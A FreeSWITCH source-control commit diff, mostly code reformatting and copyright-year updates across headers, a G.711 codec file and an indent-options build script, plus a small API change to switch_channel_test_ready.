Diff
Modified: freeswitch/trunk/build/indent_options.sh (16578 => 16579)
--- freeswitch/trunk/build/indent_options.sh 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/build/indent_options.sh 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,5 +1,5 @@
#!/bin/sh
echo -n "-brs -npsl -di0 -br -ce -d0 -cli0 -npcs -nfc1 -ut -i4 -ts4 -l155 -cs -T size_t " > ./.indent.pro
-grep typedef `find ./src/include/ -name \*.h` | grep apr_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
-grep typedef `find ./src/include/ -name \*.h` | grep switch_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
+grep "typedef struct.*_t;" `find ./src/include/ -name \*.h` | grep apr_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
+grep "typedef struct.*_t;" `find ./src/include/ -name \*.h` | grep switch_ | grep -v "\*\|{" | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print "-T $l[2] "' >> ./.indent.pro
grep "} switch_" ./src/include/*.h | perl -ne '@l = split; $l[1] =~ s/;//g ; print " -T $l[1] "' >> ./.indent.pro
Modified: freeswitch/trunk/src/g711.c (16578 => 16579)
--- freeswitch/trunk/src/g711.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/g711.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -35,58 +35,58 @@
#include "g711.h"
/* Copied from the CCITT G.711 specification */
-static const uint8_t ulaw_to_alaw_table[256] =
-{
- 42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
- 58, 59, 56, 57, 62, 63, 60, 61, 50, 51, 48, 49, 54, 55, 52, 53,
- 10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 26,
- 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21, 106,
- 104, 105, 110, 111, 108, 109, 98, 99, 96, 97, 102, 103, 100, 101, 122, 120,
- 126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117, 75, 73, 79, 77,
- 66, 67, 64, 65, 70, 71, 68, 69, 90, 91, 88, 89, 94, 95, 92, 93,
- 82, 82, 83, 83, 80, 80, 81, 81, 86, 86, 87, 87, 84, 84, 85, 85,
- 170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
- 186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
- 138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
- 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
- 232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
- 254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
- 194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
- 210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
+static const uint8_t ulaw_to_alaw_table[256] = {
+ 42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
+ 58, 59, 56, 57, 62, 63, 60, 61, 50, 51, 48, 49, 54, 55, 52, 53,
+ 10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 26,
+ 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21, 106,
+ 104, 105, 110, 111, 108, 109, 98, 99, 96, 97, 102, 103, 100, 101, 122, 120,
+ 126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117, 75, 73, 79, 77,
+ 66, 67, 64, 65, 70, 71, 68, 69, 90, 91, 88, 89, 94, 95, 92, 93,
+ 82, 82, 83, 83, 80, 80, 81, 81, 86, 86, 87, 87, 84, 84, 85, 85,
+ 170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+ 186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
+ 138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
+ 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
+ 232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
+ 254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
+ 194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
+ 210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
};
/* These transcoding tables are copied from the CCITT G.711 specification. To achieve
optimal results, do not change them. */
-static const uint8_t alaw_to_ulaw_table[256] =
-{
- 42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
- 57, 58, 55, 56, 61, 62, 59, 60, 49, 50, 47, 48, 53, 54, 51, 52,
- 10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 5,
- 26, 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21,
- 98, 99, 96, 97, 102, 103, 100, 101, 93, 93, 92, 92, 95, 95, 94, 94,
- 116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
- 72, 73, 70, 71, 76, 77, 74, 75, 64, 65, 63, 63, 68, 69, 66, 67,
- 86, 87, 84, 85, 90, 91, 88, 89, 79, 79, 78, 78, 82, 83, 80, 81,
- 170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
- 185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
- 138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
- 154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
- 226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
- 244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
- 200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
- 214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
+static const uint8_t alaw_to_ulaw_table[256] = {
+ 42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
+ 57, 58, 55, 56, 61, 62, 59, 60, 49, 50, 47, 48, 53, 54, 51, 52,
+ 10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 5,
+ 26, 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21,
+ 98, 99, 96, 97, 102, 103, 100, 101, 93, 93, 92, 92, 95, 95, 94, 94,
+ 116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
+ 72, 73, 70, 71, 76, 77, 74, 75, 64, 65, 63, 63, 68, 69, 66, 67,
+ 86, 87, 84, 85, 90, 91, 88, 89, 79, 79, 78, 78, 82, 83, 80, 81,
+ 170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+ 185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
+ 138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
+ 154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
+ 226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
+ 244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
+ 200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
+ 214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
};
uint8_t alaw_to_ulaw(uint8_t alaw)
{
- return alaw_to_ulaw_table[alaw];
+ return alaw_to_ulaw_table[alaw];
}
+
/*- End of function --------------------------------------------------------*/
uint8_t ulaw_to_alaw(uint8_t ulaw)
{
- return ulaw_to_alaw_table[ulaw];
+ return ulaw_to_alaw_table[ulaw];
}
+
/*- End of function --------------------------------------------------------*/
/*- End of file ------------------------------------------------------------*/
Modified: freeswitch/trunk/src/include/SimpleGlob.h (16578 => 16579)
--- freeswitch/trunk/src/include/SimpleGlob.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/SimpleGlob.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -302,13 +302,17 @@
const char *GetFileNameS(char) const {
return m_oFindDataA.cFileName;
- } const wchar_t *GetFileNameS(wchar_t) const {
+ }
+ const wchar_t *GetFileNameS(wchar_t) const {
return m_oFindDataW.cFileName;
- } bool IsDirS(char) const {
+ }
+ bool IsDirS(char) const {
return GetFileTypeS(m_oFindDataA.dwFileAttributes) == SG_FILETYPE_DIR;
- } bool IsDirS(wchar_t) const {
+ }
+ bool IsDirS(wchar_t) const {
return GetFileTypeS(m_oFindDataW.dwFileAttributes) == SG_FILETYPE_DIR;
- } SG_FileType GetFileTypeS(const char *a_pszPath) {
+ }
+ SG_FileType GetFileTypeS(const char *a_pszPath) {
return GetFileTypeS(GetFileAttributesA(a_pszPath));
}
SG_FileType GetFileTypeS(const wchar_t *a_pszPath) {
@@ -390,10 +394,12 @@
const char *GetFileNameS(char) const {
SG_ASSERT(m_uiCurr != (size_t) -1);
return m_glob.gl_pathv[m_uiCurr];
- } bool IsDirS(char) const {
+ }
+ bool IsDirS(char) const {
SG_ASSERT(m_uiCurr != (size_t) -1);
return m_bIsDir;
- } SG_FileType GetFileTypeS(const char *a_pszPath) const {
+ }
+ SG_FileType GetFileTypeS(const char *a_pszPath) const {
struct stat sb;
if (0 != stat(a_pszPath, &sb)) {
return SG_FILETYPE_INVALID;
@@ -777,7 +783,7 @@
// ---------------------------------------------------------------------------
typedef CSimpleGlobTempl < char >CSimpleGlobA; /*!< @brief ASCII/MBCS version of CSimpleGlob */
-typedef CSimpleGlobTempl < wchar_t >CSimpleGlobW; /*!< @brief wchar_t version of CSimpleGlob */
+typedef CSimpleGlobTempl < wchar_t > CSimpleGlobW; /*!< @brief wchar_t version of CSimpleGlob */
#if defined(_UNICODE)
# define CSimpleGlob CSimpleGlobW /*!< @brief TCHAR version dependent on if _UNICODE is defined */
#else
Modified: freeswitch/trunk/src/include/private/switch_core_pvt.h (16578 => 16579)
--- freeswitch/trunk/src/include/private/switch_core_pvt.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/private/switch_core_pvt.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -115,7 +115,7 @@
switch_codec_implementation_t write_impl;
switch_codec_implementation_t video_read_impl;
switch_codec_implementation_t video_write_impl;
-
+
switch_audio_resampler_t *read_resampler;
switch_audio_resampler_t *write_resampler;
@@ -130,7 +130,7 @@
void *streams[SWITCH_MAX_STREAMS];
int stream_count;
- char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+ char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
void *private_info;
switch_queue_t *event_queue;
switch_queue_t *message_queue;
Modified: freeswitch/trunk/src/include/switch.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/include/switch_apr.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_apr.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_apr.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -40,12 +40,11 @@
#define SWITCH_APR_H
SWITCH_BEGIN_EXTERN_C
-
#ifdef WIN32
-typedef DWORD switch_thread_id_t;
+typedef DWORD switch_thread_id_t;
#else
#include <pthread.h>
-typedef pthread_t switch_thread_id_t;
+typedef pthread_t switch_thread_id_t;
#endif
SWITCH_DECLARE(switch_thread_id_t) switch_thread_self(void);
@@ -108,7 +107,7 @@
* @bug We aught to provide an alternative to RTLD_GLOBAL, which
* is the only supported method of loading DSOs today.
*/
-SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t **res_handle, const char *path, switch_memory_pool_t *ctx);
+SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t ** res_handle, const char *path, switch_memory_pool_t *ctx);
/**
* Close a DSO library.
@@ -378,7 +377,7 @@
* it will behave as either a nested or an unnested lock.
*
*/
-SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t **lock, unsigned int flags, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t ** lock, unsigned int flags, switch_memory_pool_t *pool);
/**
@@ -420,7 +419,7 @@
/** Opaque structure used for the rwlock */
typedef struct apr_thread_rwlock_t switch_thread_rwlock_t;
-SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t **rwlock, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t ** rwlock, switch_memory_pool_t *pool);
SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_destroy(switch_thread_rwlock_t *rwlock);
SWITCH_DECLARE(switch_memory_pool_t *) switch_thread_rwlock_pool_get(switch_thread_rwlock_t *rwlock);
SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_rdlock(switch_thread_rwlock_t *rwlock);
@@ -454,7 +453,7 @@
* will be stored.
* @param pool the pool from which to allocate the mutex.
*/
-SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t **cond, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t ** cond, switch_memory_pool_t *pool);
/**
* Put the active calling thread to sleep until signaled to wake up. Each
@@ -580,7 +579,7 @@
* @param queue_capacity maximum size of the queue
* @param pool a pool to allocate queue from
*/
-SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t **queue, unsigned int queue_capacity, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t ** queue, unsigned int queue_capacity, switch_memory_pool_t *pool);
/**
* pop/get an object from the queue, blocking if the queue is already empty
@@ -774,17 +773,14 @@
* @remark If perm is SWITCH_FPROT_OS_DEFAULT and the file is being created,
* appropriate default permissions will be used.
*/
-SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t **newf, const char *fname, int32_t flag, switch_fileperms_t perm,
+SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t ** newf, const char *fname, int32_t flag, switch_fileperms_t perm,
switch_memory_pool_t *pool);
SWITCH_DECLARE(switch_status_t) switch_file_seek(switch_file_t *thefile, switch_seek_where_t where, int64_t *offset);
-SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path,
- const char *to_path,
- switch_fileperms_t perms,
- switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, const char *to_path, switch_fileperms_t perms, switch_memory_pool_t *pool);
/**
* Close the specified file.
@@ -844,7 +840,7 @@
SWITCH_DECLARE(switch_status_t) switch_file_write(switch_file_t *thefile, const void *buf, switch_size_t *nbytes);
SWITCH_DECLARE(int) switch_file_printf(switch_file_t *thefile, const char *format, ...);
-SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t **thefile, char *templ, int32_t flags, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t ** thefile, char *templ, int32_t flags, switch_memory_pool_t *pool);
SWITCH_DECLARE(switch_size_t) switch_file_get_size(switch_file_t *thefile);
@@ -885,7 +881,7 @@
};
typedef struct switch_array_header_t switch_array_header_t;
-SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t **new_dir, const char *dirname, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t ** new_dir, const char *dirname, switch_memory_pool_t *pool);
SWITCH_DECLARE(switch_status_t) switch_dir_close(switch_dir_t *thedir);
SWITCH_DECLARE(const char *) switch_dir_next_file(switch_dir_t *thedir, char *buf, switch_size_t len);
@@ -920,7 +916,7 @@
* @param new_attr The newly created threadattr.
* @param pool The pool to use
*/
-SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t **new_attr, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t ** new_attr, switch_memory_pool_t *pool);
/**
* Set if newly created threads should be created in detached state.
@@ -937,7 +933,7 @@
* @param data Any data to be passed to the starting function
* @param cont The pool to use
*/
-SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t **new_thread, switch_threadattr_t *attr,
+SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t ** new_thread, switch_threadattr_t *attr,
switch_thread_start_t func, void *data, switch_memory_pool_t *cont);
/** @} */
@@ -1006,7 +1002,7 @@
* @param protocol The protocol of the socket (e.g., SWITCH_PROTO_TCP).
* @param pool The pool to use
*/
-SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t **new_sock, int family, int type, int protocol, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t ** new_sock, int family, int type, int protocol, switch_memory_pool_t *pool);
/**
* Shutdown either reading, writing, or both sides of a socket.
@@ -1055,7 +1051,7 @@
* @param sock The socket we are listening on.
* @param pool The pool for the new socket.
*/
-SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t **new_sock, switch_socket_t *sock, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t ** new_sock, switch_socket_t *sock, switch_memory_pool_t *pool);
/**
* Issue a connection request to a socket either on the same machine
@@ -1095,7 +1091,7 @@
* </PRE>
* @param pool The pool for the apr_sockaddr_t and associated storage.
*/
-SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t **sa, const char *hostname,
+SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t ** sa, const char *hostname,
int32_t family, switch_port_t port, int32_t flags, switch_memory_pool_t *pool);
/**
@@ -1124,7 +1120,8 @@
* @param buf The data to send
* @param len The length of the data to send
*/
-SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf, switch_size_t *len);
+SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf,
+ switch_size_t *len);
/**
* @param from The apr_sockaddr_t to fill in the recipient info
@@ -1219,26 +1216,27 @@
/** @} */
-typedef enum {
- SWITCH_NO_DESC, /**< nothing here */
- SWITCH_POLL_SOCKET, /**< descriptor refers to a socket */
- SWITCH_POLL_FILE, /**< descriptor refers to a file */
- SWITCH_POLL_LASTDESC /**< descriptor is the last one in the list */
-} switch_pollset_type_t;
+ typedef enum {
+ SWITCH_NO_DESC, /**< nothing here */
+ SWITCH_POLL_SOCKET, /**< descriptor refers to a socket */
+ SWITCH_POLL_FILE, /**< descriptor refers to a file */
+ SWITCH_POLL_LASTDESC /**< descriptor is the last one in the list */
+ } switch_pollset_type_t;
-typedef union {
- switch_file_t *f; /**< file */
- switch_socket_t *s; /**< socket */
-} switch_descriptor_t;
+ typedef union {
+ switch_file_t *f; /**< file */
+ switch_socket_t *s; /**< socket */
+ } switch_descriptor_t;
-struct switch_pollfd {
- switch_memory_pool_t *p; /**< associated pool */
- switch_pollset_type_t desc_type; /**< descriptor type */
- int16_t reqevents; /**< requested events */
- int16_t rtnevents; /**< returned events */
- switch_descriptor_t desc; /**< @see apr_descriptor */
- void *client_data; /**< allows app to associate context */
-};
+ struct switch_pollfd {
+ switch_memory_pool_t *p; /**< associated pool */
+ switch_pollset_type_t desc_type;
+ /**< descriptor type */
+ int16_t reqevents; /**< requested events */
+ int16_t rtnevents; /**< returned events */
+ switch_descriptor_t desc; /**< @see apr_descriptor */
+ void *client_data; /**< allows app to associate context */
+ };
@@ -1277,7 +1275,7 @@
* platforms; the apr_pollset_create() call will fail with
* APR_ENOTIMPL on platforms where it is not supported.
*/
-SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t **pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags);
+SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t ** pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags);
/**
* Add a socket or file descriptor to a pollset
@@ -1321,10 +1319,10 @@
\param pool the memory pool to use
\return SWITCH_STATUS_SUCCESS when successful
*/
-SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t ** poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool);
-SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t **result, switch_memory_pool_t *p);
-SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t **sa, switch_bool_t remote, switch_socket_t *sock);
+SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t ** result, switch_memory_pool_t *p);
+SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t ** sa, switch_bool_t remote, switch_socket_t *sock);
/**
* Create an anonymous pipe.
@@ -1332,7 +1330,7 @@
* @param out The file descriptor to use as output from the pipe.
* @param pool The pool to operate on.
*/
-SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t **in, switch_file_t **out, switch_memory_pool_t *p);
+SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t ** in, switch_file_t ** out, switch_memory_pool_t *p);
/**
* Get the timeout value for a pipe or manipulate the blocking state.
Modified: freeswitch/trunk/src/include/switch_bitpack.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_bitpack.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_bitpack.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/include/switch_buffer.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_buffer.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_buffer.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/include/switch_caller.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_caller.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_caller.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -147,7 +147,7 @@
SWITCH_DECLARE(switch_caller_extension_t *) switch_caller_extension_new(_In_ switch_core_session_t *session,
_In_z_ const char *extension_name, _In_z_ const char *extension_number);
-SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
+SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
switch_memory_pool_t *pool);
/*!
@@ -169,8 +169,8 @@
\param fmt optional argument to the application (printf format string)
*/
SWITCH_DECLARE(void) switch_caller_extension_add_application_printf(_In_ switch_core_session_t *session,
- _In_ switch_caller_extension_t *caller_extension,
- _In_z_ const char *application_name, _In_z_ const char *fmt, ...);
+ _In_ switch_caller_extension_t *caller_extension,
+ _In_z_ const char *application_name, _In_z_ const char *fmt, ...);
/*!
Modified: freeswitch/trunk/src/include/switch_channel.h (16578 => 16579)
--- freeswitch/trunk/src/include/switch_channel.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_channel.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -48,6 +48,7 @@
switch_time_t progress_media;
switch_time_t hungup;
switch_time_t transferred;
+ switch_time_t resurrected;
struct switch_channel_timetable *next;
};
@@ -74,21 +75,20 @@
\param channel channel to test
\return true if the channel is ready
*/
-SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media);
+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t check_ready, switch_bool_t check_media);
-#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_FALSE)
-#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE)
+#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE, SWITCH_FALSE)
+#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE, SWITCH_TRUE)
+
#define switch_channel_up(_channel) (switch_channel_get_state(_channel) < CS_HANGUP)
#define switch_channel_down(_channel) (switch_channel_get_state(_channel) >= CS_HANGUP)
#define switch_channel_media_ack(_channel) (!switch_channel_test_cap(_channel, CC_MEDIA_ACK) || switch_channel_test_flag(_channel, CF_MEDIA_ACK))
SWITCH_DECLARE(void) switch_channel_wait_for_state(switch_channel_t *channel, switch_channel_t *other_channel, switch_channel_state_t want_state);
SWITCH_DECLARE(void) switch_channel_wait_for_state_timeout(switch_channel_t *other_channel, switch_channel_state_t want_state, uint32_t timeout);
-SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
- switch_channel_flag_t want_flag,
- switch_bool_t pres,
- uint32_t to,
- switch_channel_t *super_channel);
+SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
+ switch_channel_flag_t want_flag,
+ switch_bool_t pres, uint32_t to, switch_channel_t *super_channel);
SWITCH_DECLARE(switch_channel_state_t) switch_channel_perform_set_state(switch_channel_t *channel,
const char *file, const char *func, int line, switch_channel_state_t state);
@@ -142,7 +142,8 @@
\param pool memory_pool to use for allocation
\return SWITCH_STATUS_SUCCESS if successful
*/
-SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction, _In_ switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction,
+ _In_ switch_memory_pool_t *pool);
/*!
\brief Connect a newly allocated channel to a session object and setup it's initial state
@@ -231,12 +232,12 @@
SWITCH_DECLARE(switch_status_t) switch_channel_set_profile_var(switch_channel_t *channel, const char *name, const char *val);
-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
const char *varname, const char *value, switch_bool_t var_check);
SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_printf(switch_channel_t *channel, const char *varname, const char *fmt, ...);
SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_name_printf(switch_channel_t *channel, const char *val, const char *fmt, ...);
